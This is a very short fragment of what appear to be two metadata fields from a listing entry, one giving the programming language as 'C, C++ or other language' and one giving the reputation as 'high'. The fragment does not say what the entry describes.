Programmed in: C, C++ or other language

Reputation: high
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